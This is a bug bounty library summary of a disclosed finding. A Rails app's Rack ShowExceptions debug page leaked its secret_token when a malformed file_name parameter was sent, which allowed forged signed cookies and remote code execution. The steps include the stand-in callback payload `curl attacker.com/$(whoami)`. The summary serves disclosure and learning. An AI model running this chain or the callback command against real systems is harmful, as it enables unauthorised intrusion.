# RCE due to ShowExceptions

Rack ShowExceptions leaked Rails secret_token via a CSV download endpoint, letting the researcher forge signed cookies and achieve RCE.

- Payout: $5,000
- Severity: critical
- Program: -
- Credited: Harsh Jaiswal
- Disclosed: 2018-07-20
- Write-up quality: 6/10
- Original: https://sites.google.com/view/harshjaiswalblog/rce-due-to-showexceptions
- Library page: https://bugbountylibrary.com/r/blog%3Asites-google-com-view-harshjaiswalblog-rce-due-to-showexceptions
- Tags: domain:web impact:data-leak impact:rce kind:bounty platform:blog sev:critical tech:ruby technique:fuzzing vuln:info-disclosure vuln:misconfiguration vuln:rce

**Target:** CSV report download endpoint on Rails web app
**Root cause:** Rack::ShowExceptions debug page enabled in production leaked the Rails secret_token (action_dispatch.secret_token) when an exception was triggered by a malformed file_name parameter.
**Steps:**
1. Request CSV download endpoint with `file_name=%0d` to trigger an exception
2. Observe Rack ShowExceptions debug page disclosing the secret_token
3. Use leaked secret_token to sign a malicious Rails cookie (per robertheaton.com technique)
4. Send forged cookie with payload `curl attacker.com/$(whoami)`
5. Receive callback at attacker.com/app confirming command execution
**How found:** While fuzzing parameters on a CSV download endpoint, passing `%0d` to file_name caused a server exception; the resulting Rack ShowExceptions page revealed debug info including the secret_token.
**Exploitation:** Triggered an exception via `%0d` in file_name to expose the secret_token on the ShowExceptions page, then used the token to forge a signed Rails cookie containing a command execution payload, achieving RCE on both app.redacted.com and redacted.redacted.com which shared the same Rails app.
**Escalation:** Same secret_token shared across two in-scope hosts, so the RCE applied to both.
**Insight:** Malformed params that trigger unhandled exceptions can surface Rack/Rails debug pages; check whether ShowExceptions leaks secret_token, then forge signed cookies for RCE.